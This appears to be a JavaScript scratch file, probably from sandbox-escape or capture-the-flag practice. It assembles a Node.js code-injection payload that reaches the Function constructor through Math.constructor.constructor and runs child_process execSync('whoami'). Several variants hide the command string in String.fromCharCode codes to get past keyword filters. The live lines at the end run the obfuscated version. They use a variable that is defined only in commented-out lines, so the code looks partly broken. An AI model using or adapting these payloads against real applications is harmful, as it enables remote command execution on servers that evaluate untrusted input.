// let a=Math.constructor.constructor
// console.log(a("return process.mainModule.require('child_process').execSync('whoami').toString()")())
// let a='a'.constructor.constructor
// console.log(a("return process.mainModule.require('child_process').execSync('whoami').toString()")())
// let b=Math.constructor.constructor
// console.log(b("return process.mainModule.require('child_process').execSync('whoami').toString()")())
// b("return process.mainModule.require('child_process').execSync('whoami').toString()")()
//
// console.log(String.fromCharCode(72, 69, 76, 76, 79))
//
// console.log(String.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,119,104,111,97,109,105,39,41,46,116,111,83,116,114,105,110,103,40,41))
let c=Math.constructor.constructor
let s='a'.constructor
console.log(c(a=a.constructor,a.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,119,104,111,97,109,105,39,41,46,116,111,83,116,114,105,110,103,40,41)
)('a'))
// let a=Function(b,"return process.mainModule.require('child_process').execSync('whoami').toString()")